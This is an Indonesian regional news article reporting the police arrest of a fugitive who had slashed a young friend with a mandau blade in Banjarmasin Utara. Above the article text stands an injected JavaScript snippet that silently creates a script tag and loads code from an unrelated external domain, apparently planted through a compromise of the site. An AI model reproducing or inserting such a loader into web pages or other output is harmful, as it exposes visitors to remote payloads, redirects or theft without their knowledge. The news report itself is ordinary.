(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Buron kasus penganiayaan di Kelurahan Sungai Jingah, Kecamatan Banjarmasin Utara, berhasil diringkus polisi usai bersembunyi selama kurang lebih 4 bulan. Ia adalah Gabin alias HI (36) yang melakukan penyerangan dengan sebuah senjata tajam jenis mandau kepada korban yakni YH (19), temannya sendiri.
Penyerangan dilakukan Gabin secara tiba-tiba saat mendatangi korban yang sedang nongkrong di Jalan Jahri Saleh Gang Adil, Kelurahan Sungai Jingah, Kecamatan Banjarmasin, pada Minggu (3/7/2022) silam.
Dari keterangan pelaku, Kapolsek Banjarmasin Utara, Kompol Agus Sugianto melalui Kanit Reskrim Ipda Sudirno mengatakan, motif perbuatan keji yang dilakukan Gabin terjadi lantaran tidak bisa menahan emosi usai sebelumnya terlibat cekcok dengan korban.
“Usai terjadi cekcok HI nekat mencari keberadaan korban dalam keadaan emosi yang akhirnya tega melakukan penyerangan bertubi-tubi, hingga jari manis korban putus karena sabetan sajam jenis mandau,” Kapolsek Banjarmasin Utara, Kompol Agus Sugianto melalui Kanit reskrim Ipda Sudirno pada Senin (7/11/2022).
Baca juga : DPRD Kapuas RDP dengan PT GAL dan Serikat Buruh Penyelesaian Hak Karyawan, Ini Enam Poin Kesepakatan
Dijelaskan Ipda Sudirno, korban sempat mencoba lari. Namun, terus dikejar oleh pelaku. Hingga akhirnya korban nekat menangkis serengan pelaku dengan tangan kosong, tak ayal jari korban pun menjadi sasaran mandau pelaku.
“Alhasil jari-jari korban terluka cukup parah bahkan korban harus kehilangan jari manis dan beberapa luka sobek,” sebutnya.
Sabetan pelaku pun juga sempat mengenai lengan kanan korban hingga tidak dapat digerakkan. Melihat korban yang tak berdaya, pelaku kabur meninggalkan pemuda itu dan barang bukti sebilah mandau yang dibuang ke sungai.
Gabin kabur selama kurang lebih 4 bulan tak diketahui keberadaannya lantaran melakukan pelarian ke sejumlah tempat.
Baca juga : Kontingen Tanbu Sementara Raih 38 Medali di Ajang Porprov Kalsel
Hingga akhirnya pada Minggu (6/11/2022) tim Opsnal Unit Reskrim Polsek Banjarmasin Utara melakukan penangkapan Gabin di rumah orangtuanya di Jalan Kampung Kenanga, RT 7 Kelurahan Sungai Jingah, Kecamatan Banjarmasin Utara.
“Setelah mendapatkan informasi bawah pelaku pulang ke rumah orangtuanya, langsung tim kami bergerak dan berhasil kita amankan setelah melakukan pelarian ke beberapa tempat,” ungkapnya.
Untuk mempertanggungjawabkan perbuatannya, pelaku harus mendekam di balik jeruji besi Polsek Banjarmasin Utara dengan diancam pasal 351 ayat (2) KUHP tentang penganiayaan berat. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.